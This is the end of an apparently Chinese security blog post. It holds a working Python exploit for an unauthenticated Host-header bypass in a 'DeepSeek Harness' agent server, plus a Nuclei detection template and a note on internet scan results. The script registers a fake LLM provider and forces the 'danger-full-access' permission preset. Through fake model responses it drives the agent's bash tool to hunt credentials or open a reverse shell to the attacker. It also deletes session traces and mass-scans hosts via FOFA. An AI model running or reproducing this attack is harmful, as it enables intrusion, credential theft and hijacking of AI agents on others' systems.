                },
            )
            good("restored: agent-default-model (settings.mutate)")
        except PocError:
            created = (
                client.must("session.create", {"agentPreset": "minimal"})
                or {}
            )
            sid = created.get("sessionId", "")
            client.must(
                "session.selectModel",
                {"sessionId": sid, **original},
            )
            client.must(
                "workspace.archiveSession", {"sessionId": sid}
            )
            good(
                f"restored: agent-default-model -> "
                f"{original['provider']}/{original['model']} "
                f"(session.selectModel)"
            )
    else:
        good(
            f"default model already points at a real provider: {current}"
        )

    for name, profile in sorted(stale.items()):
        client.must(
            "settings.mutate",
            {
                "ns": "llm-pi-ai",
                "ops": [
                    {"op": "unset", "path": ["providers", name]}
                ],
            },
        )
        good(f"removed provider route {name}")
        ref = (
            profile.get("apiKeyEnv")
            if isinstance(profile, dict) else None
        )
        if isinstance(ref, str) and ref.startswith("DSH2SHELL_"):
            client.must("credentials.unset", {"ref": ref})
            good(f"removed credential {ref}")
    return 0


# ═══════════════════════════════════════════════════════════════════════
# ExploitSession — refactored from the original monolithic run()
# ═══════════════════════════════════════════════════════════════════════

class ExploitSession:
    """Encapsulates the full exploit lifecycle:
    setup → register provider → execute commands → cleanup."""

    def __init__(self, args: argparse.Namespace):
        self.args = args
        self.target_url = normalize_target(args.target)
        self.lhost = args.lhost or detect_lhost(self.target_url)

        llm_bind, llm_port = split_listener(args.llm_listen)
        if args.shell and llm_port == args.shell_port:
            raise PocError(
                "fake LLM and reverse shell ports must be different"
            )

        self.llm_bind = llm_bind
        self.llm_port = llm_port
        self.public_base = (
            args.public_base
            or f"http://{self.lhost}:{llm_port}/v1"
        )

        # Per-run random identifiers
        rand = os.urandom(4).hex()
        self.marker   = "dsh2shell-" + os.urandom(8).hex()
        self.provider = f"dsh2shell-{rand}"
        self.cred_ref = f"DSH2SHELL_{rand.upper()}"

        # Shared state
        self.client = Target(
            self.target_url, args.http_timeout, insecure=not args.secure
        )
        self.fake = FakeLLM(self.marker)
        self.listener: socket.socket | None = None
        self.session_id = ""
        self.state: dict | None = None
        self.flags: dict[str, bool] = {}
        self.archive_sids: list[str] = []
        self.archived: set[str] = set()
        self.cleanup_delivered = args.no_cleanup
        self.cwd_safe = ""
        self.turns_done = 0

    # ── command queue ──

    def _build_commands(self) -> list[str]:
        """Build the ordered command queue."""
        commands: list[str] = []
        if self.args.loot_keys:
            commands.append(wrap_b64(LOOT_SCRIPT))
        for cmd in self.args.cmd:
            commands.append(wrap_b64(cmd))
        if self.args.shell:
            commands.append(
                reverse_command(self.lhost, self.args.shell_port)
            )
        if not self.args.no_cleanup:
            commands.append("__CLEANUP__")
        return commands

    @property
    def _cmd_turn_count(self) -> int:
        """Number of command turns (excluding shell and cleanup)."""
        n = len(self.args.cmd)
        if self.args.loot_keys:
            n += 1
        return n

    # ── setup ──

    def _bind_listener(self) -> None:
        """Start the reverse-shell TCP listener if --shell."""
        if not self.args.shell:
            return
        self.listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        try:
            self.listener.bind(("0.0.0.0", self.args.shell_port))
            self.listener.listen(1)
            self.listener.setblocking(False)
        except OSError as exc:
            self.listener.close()
            self.listener = None
            raise PocError(
                f"cannot listen on 0.0.0.0:{self.args.shell_port}: {exc}"
            ) from exc

    def _register_provider(self, description: dict) -> None:
        """Inject a fake LLM provider and switch the permission preset."""
        self.state = snapshot(self.client, description)

        # Credential first: the route must be serviceable at publish time
        self.client.must(
            "credentials.set",
            {"ref": self.cred_ref, "value": DUMMY_KEY},
        )
        self.flags["cred_set"] = True

        self.client.must(
            "settings.mutate",
            {
                "ns": "llm-pi-ai",
                "ops": [{
                    "op": "set",
                    "path": ["providers", self.provider],
                    "value": {
                        "apiKeyEnv": self.cred_ref,
                        "displayName": "dsh2shell",
                        "api": "openai-completions",
                        "baseURL": self.public_base,
                        "models": [{
                            "id": "fake",
                            "name": "fake",
                            "contextWindow": 131072,
                            "maxTokens": 8192,
                        }],
                    },
                }],
            },
        )
        self.flags["provider_added"] = True
        good(f"temp provider route: {self.provider} -> {self.public_base}")

        self.client.must(
            "settings.mutate",
            {
                "ns": "permission",
                "ops": [{
                    "op": "set",
                    "path": ["defaultPreset"],
                    "value": "danger-full-access",
                }],
            },
        )
        self.flags["preset_changed"] = True

    def _create_session(self) -> None:
        """Create and configure the attack session."""
        created = self.client.must(
            "session.create", {"agentPreset": "minimal"}
        ) or {}
        self.session_id = created.get("sessionId", "")
        if not self.session_id:
            raise PocError("session.create returned no sessionId")
        self.client.must(
            "session.selectModel",
            {
                "sessionId": self.session_id,
                "provider": self.provider,
                "model": "fake",
            },
        )
        self.flags["model_selected"] = True
        good(
            f"session created: {self.session_id} "
            f"(model {self.provider}/fake)"
        )

    # ── prompt / archive ──

    def _prompt(self) -> None:
        """Send one diagnostic prompt to trigger the next queued command."""
        self.client.must(
            "session.prompt",
            {
                "sessionId": self.session_id,
                "mode": "queue",
                "content": [{
                    "type": "text",
                    "text": f"run authorized diagnostic {self.marker}",
                }],
            },
        )

    def _archive_one(self, sid: str) -> None:
        if not sid or sid in self.archived:
            return
        if attempt(
            f"archive session {sid}",
            lambda: self.client.must(
                "workspace.archiveSession", {"sessionId": sid}
            ),
            f"workspace.archiveSession sessionId={sid}",
        ):
            self.archived.add(sid)

    def _archive_sessions(self) -> None:
        self._archive_one(self.session_id)
        for sid in self.archive_sids:
            self._archive_one(sid)

    # ── restore ──

    def _restore_default_model(self) -> None:
        """Revert the deployment default model to pre-attack value."""
        if not self.flags.get("model_selected") or self.state is None:
            return
        original = {
            "provider": self.state["default_provider"],
            "model":    self.state["default_model"],
        }
        if not original["provider"] or not original["model"]:
            bad(
                "restore: no pre-attack default model on record; "
                "fix the default model in the DSH UI"
            )
            return
        # Try direct settings mutation first
        try:
            self.client.must(
                "settings.mutate",
                {
                    "ns": "agent-default-model",
                    "ops": [
                        {
                            "op": "set", "path": ["provider"],
                            "value": original["provider"],
                        },
                        {
                            "op": "set", "path": ["model"],
                            "value": original["model"],
                        },
                        {"op": "unset", "path": ["reasoningEffort"]},
                    ],
                },
            )
            good("restored: agent-default-model (settings.mutate)")
            self.flags["model_selected"] = False
            return
        except PocError:
            pass

        # Fallback: go through a throwaway session's selectModel
        repair_sid = ""
        try:
            created = self.client.must(
                "session.create", {"agentPreset": "minimal"}
            ) or {}
            repair_sid = created.get("sessionId", "")
            if repair_sid:
                self.archive_sids.append(repair_sid)
                self._archive_one(repair_sid)
            self.client.must(
                "session.selectModel",
                {"sessionId": repair_sid, **original},
            )
            good(
                f"restored: agent-default-model -> "
                f"{original['provider']}/{original['model']} "
                f"(session.selectModel)"
            )
            self.flags["model_selected"] = False
        except PocError as exc:
            bad(f"restore FAILED: agent-default-model: {exc}")
            bad(
                f"manual fix: switch any session's model back to "
                f"{original['provider']}/{original['model']} in the DSH UI"
            )

    def _restore_preset(self) -> None:
        if not self.flags.get("preset_changed") or self.state is None:
            return
        permission_op = (
            {
                "op": "set", "path": ["defaultPreset"],
                "value": self.state["permission"],
            }
            if self.state["had_permission"]
            else {"op": "unset", "path": ["defaultPreset"]}
        )
        if attempt(
            "permission.defaultPreset",
            lambda: self.client.must(
                "settings.mutate",
                {"ns": "permission", "ops": [permission_op]},
            ),
            (
                f"settings.mutate ns=permission, "
                f"restore defaultPreset={self.state['permission']!r}"
            ),
        ):
            self.flags["preset_changed"] = False

    def _restore_artifacts(self) -> None:
        """Remove provider route, credential, and permission preset."""
        if self.flags.get("provider_added"):
            attempt(
                f"provider route {self.provider}",
                lambda: self.client.must(
                    "settings.mutate",
                    {
                        "ns": "llm-pi-ai",
                        "ops": [{
                            "op": "unset",
                            "path": ["providers", self.provider],
                        }],
                    },
                ),
                (
                    f"settings.mutate ns=llm-pi-ai, "
                    f"unset providers.{self.provider}"
                ),
            )
        if self.flags.get("preset_changed"):
            self._restore_preset()
        if self.flags.get("cred_set"):
            attempt(
                f"credential {self.cred_ref}",
                lambda: self.client.must(
                    "credentials.unset", {"ref": self.cred_ref}
                ),
                f"credentials.unset ref={self.cred_ref}",
            )

    def _deliver_cleanup(self) -> None:
        """Send the filesystem-cleanup command to the agent."""
        if self.cleanup_delivered or not self.session_id:
            return
        self._prompt()
        time.sleep(CLEANUP_SETTLE_S)
        self.cleanup_delivered = True
        info("cleanup command delivered (session folder self-deleted)")

    # ── execution phases ──

    def _execute_commands(self) -> None:
        """Run queued --cmd / --loot-keys commands and display output."""
        if not self.args.loot_keys and not self.args.cmd:
            return
        seen = 0
        for idx in range(self._cmd_turn_count):
            self._prompt()
            try:
                history = wait_turn(
                    self.client, self.session_id,
                    self.args.callback_timeout,
                    after=self.turns_done,
                )
                self.turns_done += 1
            except PocError as exc:
                bad(f"cmd[{idx}]: {exc}")
                break
            texts = tool_texts(history)
            fresh = texts[seen:]
            seen = len(texts)
            decoded = "\n".join(decode_tool_output(t) for t in fresh)
            section(f"cmd[{idx}]", decoded)
            if self.args.loot_keys:
                self._extract_loot(decoded)

    def _extract_loot(self, decoded: str) -> None:
        """Parse credential patterns from decoded command output."""
        env_hits = set(_ENV_RE.findall(decoded))
        bare = {
            token
            for token in _KEY_RE.findall(decoded)
            if not any(token in line for line in env_hits)
        }
        secrets = sorted((env_hits | bare) - {DUMMY_KEY})
        if secrets:
            good(f"found {len(secrets)} credential value(s)")
            for s in secrets:
                print(
                    f"{_C['r']}{_C['b']}{s}{_C['0']}"
                    if _USE_COLOR else s
                )
        else:
            info("no known credential pattern found")

    def _open_shell(self) -> None:
        """Trigger reverse shell and handle the interactive session."""
        if not self.args.shell or self.listener is None:
            return
        self._prompt()
        info(
            "deterministic bash tool call queued; "
            "waiting for reverse-shell callback"
        )

        deadline = time.monotonic() + self.args.callback_timeout
        last_poll = 0.0
        channel: socket.socket | None = None
        peer: tuple[str, int] | None = None

        while time.monotonic() < deadline:
            readable, _, _ = select.select([self.listener], [], [], 1.0)
            if readable:
                channel, peer = self.listener.accept()
                break
            if time.monotonic() - last_poll >= POLL_INTERVAL_S:
                last_poll = time.monotonic()
                failure = turn_failure(
                    self.client.history(self.session_id)
                )
                if failure:
                    raise PocError(f"agent turn failed: {failure}")

        if channel is None or peer is None:
            raise PocError(
                f"callback timed out; "
                f"fake-LLM queue depth={self.fake.queued()}. "
                f"Verify target access to {self.public_base} and "
                f"{self.lhost}:{self.args.shell_port}."
            )

        good(f"callback from {peer[0]}:{peer[1]}")
        channel.setblocking(True)
        channel.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
        try:
            if (
                self.args.raw
                and os.name == "posix"
                and sys.stdin.isatty()
                and sys.stdout.isatty()
            ):
                interactive_posix(channel)
            else:
                interactive_fallback(channel)
        finally:
            channel.close()

    # ── main entry ──

    def run(self) -> int:
        """Execute the full exploit lifecycle."""
        commands = self._build_commands()
        for cmd in commands:
            self.fake.push(cmd)

        self._bind_listener()
        self.fake.start(self.llm_bind, self.llm_port)

        try:
            info(f"target: {self.target_url}")
            description = self.client.must("host.describe", {}) or {}
            self.cwd_safe = str(
                description.get("cwd") or ""
            ).replace('"', "")
            good(
                f"privileged RPC reachable: "
                f"provider={description.get('provider')} "
                f"cwd={self.cwd_safe}"
            )
            info(
                f"fake LLM: {self.public_base} "
                f"(bind {self.llm_bind}:{self.llm_port})"
            )
            if self.args.shell:
                info(
                    f"reverse listener: 0.0.0.0:{self.args.shell_port}; "
                    f"callback {self.lhost}"
                )

            self._register_provider(description)
            self._create_session()
            self._archive_sessions()

            # Revert global values early: the session pinned its own
            # copies at creation; only the provider route and credential
            # must live until the end.
            self._restore_default_model()
            self._restore_preset()

            # Fill in the cleanup command now that we know the session ID
            if not self.args.no_cleanup:
                sids = f'"{self.session_id}" "${{DSH_SESSION_ID:-}}"'
                clean = b64_exec(
                    CLEAN_TMPL
                    .replace("__SIDS__", sids)
                    .replace("__CWD__", self.cwd_safe)
                )
                self.fake.replace_placeholder("__CLEANUP__", clean)

            self._execute_commands()
            self._open_shell()

        finally:
            if self.listener is not None:
                self.listener.close()
            if self.state is not None and not self.args.no_cleanup:
                info("restoring target state...")
                self._restore_default_model()
                self._archive_sessions()
                try:
                    self._deliver_cleanup()
                except PocError as exc:
                    info(f"cleanup delivery failed: {exc}")
                self._restore_artifacts()
            self.fake.stop()
        return 0


# ═══════════════════════════════════════════════════════════════════════
# Argument parsing
# ═══════════════════════════════════════════════════════════════════════

def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description=(
            "DSH audit: FOFA inventory, "
            "explicit-target loot/cmd/PTY PoC"
        )
    )

    modes = parser.add_mutually_exclusive_group()
    modes.add_argument(
        "--fofa", action="store_true",
        help="FOFA inventory/probe mode",
    )
    modes.add_argument(
        "--dry-run", action="store_true",
        help=(
            "probe only: reachability, default model, preset, "
            "provider routes; change nothing"
        ),
    )
    modes.add_argument(
        "--repair", action="store_true",
        help=(
            "remove fake-LLM residue from a killed run "
            "and reselect an existing model"
        ),
    )
    modes.add_argument(
        "--shell", action="store_true",
        help="open an interactive shell",
    )
    modes.add_argument(
        "--cmd", action="append", default=[], metavar='"CMD"',
        help="run a non-interactive command on the target (repeatable)",
    )

    parser.add_argument(
        "--loot-keys", action="store_true",
        help=(
            "prepend a broad credential-hunt command "
            "(cmd mode; standalone allowed)"
        ),
    )
    parser.add_argument(
        "--no-cleanup", action="store_true",
        help="keep the session folder and skip the state restore pass",
    )
    parser.add_argument(
        "--no-log", action="store_true",
        help="disable run logging",
    )
    parser.add_argument(
        "--log-dir", default="dsh2shell_logs",
        help="directory for timestamped run logs",
    )
    parser.add_argument(
        "-t", "--target", help="explicit DSH base URL",
    )
    parser.add_argument(
        "--lhost",
        help="address reachable from target (auto-detected by default)",
    )
    parser.add_argument(
        "--shell-port", type=int, default=DEFAULT_SHELL_PORT,
        help="reverse shell port",
    )
    parser.add_argument(
        "--llm-listen", default=f"0.0.0.0:{DEFAULT_LLM_PORT}",
        help="fake OpenAI server bind address",
    )
    parser.add_argument(
        "--public-base",
        help="fake OpenAI /v1 URL as reached from target",
    )
    parser.add_argument(
        "--callback-timeout", type=int, default=180,
        help="callback wait seconds",
    )
    parser.add_argument(
        "--http-timeout", type=int, default=30,
        help="RPC timeout seconds",
    )
    parser.add_argument(
        "--secure", action="store_true",
        help="verify TLS certificates (default: ignore TLS errors)",
    )
    parser.add_argument(
        "--raw", action="store_true",
        help=(
            "use raw local TTY mode; "
            "shell mode defaults to line-buffered input"
        ),
    )
    parser.add_argument(
        "-v", "--verbose", action="store_true",
        help="enable debug output (retry details, timings)",
    )
    parser.add_argument(
        "--fofa-query", default=FOFA_QUERY, help="FOFA query",
    )
    parser.add_argument(
        "--fofa-size", type=int, default=100, help="FOFA result limit",
    )
    parser.add_argument(
        "--fofa-workers", type=int, default=20, help="probe workers",
    )
    parser.add_argument(
        "--probe-timeout", type=int, default=8,
        help="probe timeout seconds",
    )
    parser.add_argument(
        "-o", "--output", default="fofa-results.csv",
        help="FOFA CSV path",
    )

    args = parser.parse_args()

    # ── validation ──
    cmd_mode = bool(args.cmd) or args.loot_keys
    picked = sum(
        1
        for mode in (
            args.fofa, args.dry_run, args.repair, args.shell, cmd_mode
        )
        if mode
    )
    if picked != 1:
        parser.error(
            "choose exactly one mode: "
            "--fofa, --dry-run, --repair, --shell, or --cmd/--loot-keys"
        )
    if args.loot_keys and args.shell:
        parser.error("--loot-keys only combines with --cmd")
    if not args.fofa and not args.target:
        parser.error(
            "-t/--target is required with "
            "--dry-run, --repair, --shell, or --cmd/--loot-keys"
        )
    if args.fofa and args.target:
        parser.error(
            "--fofa is inventory-only and cannot be combined with -t"
        )
    if not 1 <= args.shell_port <= 65535:
        parser.error("--shell-port must be in 1..65535")
    if args.callback_timeout <= 0 or args.http_timeout <= 0:
        parser.error("timeouts must be positive")
    if not 1 <= args.fofa_size <= 10000:
        parser.error("--fofa-size must be in 1..10000")
    if not 1 <= args.fofa_workers <= 100:
        parser.error("--fofa-workers must be in 1..100")
    if args.probe_timeout <= 0:
        parser.error("--probe-timeout must be positive")
    return args


# ═══════════════════════════════════════════════════════════════════════
# Logging & entry point
# ═══════════════════════════════════════════════════════════════════════

def tee_stdout_to(log_dir: str, name: str | None) -> None:
    """Mirror stdout to a timestamped log file (ANSI stripped)."""
    os.makedirs(log_dir, exist_ok=True)
    logname = (
        re.sub(r"[^A-Za-z0-9]+", "_", name or "fofa").strip("_")
        + time.strftime("_%Y%m%d-%H%M%S")
        + ".log"
    )
    logpath = os.path.join(log_dir, logname)
    logf = open(logpath, "w", encoding="utf-8")
    ansi_re = re.compile(r"\033\[[0-9;]*m")

    class Tee:
        """Transparent stdout tee that also writes to a log file."""

        def write(self, s: str) -> int:
            sys.__stdout__.write(s)
            logf.write(ansi_re.sub("", s))
            logf.flush()
            return len(s)

        def flush(self) -> None:
            sys.__stdout__.flush()
            logf.flush()

        def close(self) -> None:
            logf.close()

        def __getattr__(self, attr: str) -> Any:
            return getattr(sys.__stdout__, attr)

    sys.stdout = Tee()  # type: ignore[assignment]


def dispatch(args: argparse.Namespace) -> int:
    """Route to the correct execution mode."""
    if args.fofa:
        return run_fofa(args)
    if args.dry_run:
        return run_dry(args)
    if args.repair:
        return run_repair(args)
    return ExploitSession(args).run()


def main() -> None:
    global _verbose

    def handle_signal(signum: int, _frame: Any) -> None:
        print(
            f"\n{_C['r']}[-]{_C['0']} interrupted (signal {signum})",
            file=sys.stderr,
        )
        raise SystemExit(130)

    signal.signal(signal.SIGINT, handle_signal)
    if hasattr(signal, "SIGTERM"):
        signal.signal(signal.SIGTERM, handle_signal)

    try:
        args = parse_args()
        _verbose = args.verbose
        if not args.no_log:
            tee_stdout_to(args.log_dir, args.target)
        raise SystemExit(dispatch(args))
    except PocError as exc:
        print(f"{_C['r']}[-]{_C['0']} {exc}", file=sys.stderr)
        raise SystemExit(1)


if __name__ == "__main__":
    main()

0x03 POC

用AI转成Nuclei支持的POC

# Nuclei detection template converted from dsh2shell.py
# Detection-only: mirrors the script's --dry-run probe — a single read-only
# host.describe RPC call with a spoofed Host header. No state changes, no
# command execution, no provider registration, no cleanup side effects.
id: dsh-host-header-auth-bypass-rce

info:
  name: DeepSeek Harness (dsh) - Host Header Authentication Bypass to RCE
  author: dsh2shell
  severity: critical
  description: |
    DeepSeek Harness (dsh) web instances expose privileged RPC methods under
    /api/*. Access is enforced only by a Host header check (requests must
    appear to originate from localhost). By sending a request with a spoofed
    "Host: localhost" header, an unauthenticated remote attacker can invoke
    privileged methods such as host.describe, settings.mutate, credentials.set,
    session.create and session.prompt. An attacker can register a fake
    OpenAI-compatible LLM provider pointing at a server they control, switch
    the permission preset to danger-full-access, and drive the agent's bash
    tool — resulting in unauthenticated remote code execution.
  impact: |
    Unauthenticated remote code execution with the privileges of the dsh
    process, disclosure of configured provider credentials, and full control
    over agent sessions and workspaces.
  remediation: |
    Do not expose dsh instances to untrusted networks. Replace the Host header
    check with proper authentication (token/shared secret) and validate the
    request origin on all /api/* endpoints.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-290
  metadata:
    max-request: 1
    verified: false
    fofa-query: body="__DSH_BOOT__"
    shodan-query: http.html:"__DSH_BOOT__"
    vendor: deepseek
    product: dsh
  tags: rce,unauth,host-header,bypass,dsh,deepseek

http:
  - raw:
      # Core of the vulnerability (dsh2shell.py Target.__init__): dsh gates
      # privileged RPC on the Host header, so spoofing "Host: localhost"
      # unlocks it for any remote, unauthenticated client.
      - |
        POST /api/host.describe HTTP/1.1
        Host: localhost
        Content-Type: application/json
        Accept: application/json

        {"type":"client-request","rpcId":"0d5e2a1b-3c4d-4e5f-9a8b-7c6d5e4f3a2b","method":"host.describe","payload":{}}

    matchers-condition: and
    matchers:
      # Mirrors dsh2shell.py Target.must(): result.ok == true means the
      # unauthenticated caller reached a privileged RPC method.
      - type: status
        status:
          - 200
      - type: regex
        part: body
        regex:
          - '"ok"\s*:\s*true'
      # host.describe's result.value exposes provider/cwd (run_probe)
      - type: regex
        part: body
        regex:
          - '"provider"\s*:'
          - '"cwd"\s*:'

    extractors:
      - type: regex
        name: provider
        part: body
        group: 1
        regex:
          - '"provider"\s*:\s*"([^"]*)"'
      - type: regex
        name: cwd
        part: body
        group: 1
        regex:
          - '"cwd"\s*:\s*"([^"]*)"'

0x04 cscan评估

上cscan对资产进行排查

互联网1046个结果,大概有100多个存在问题的站点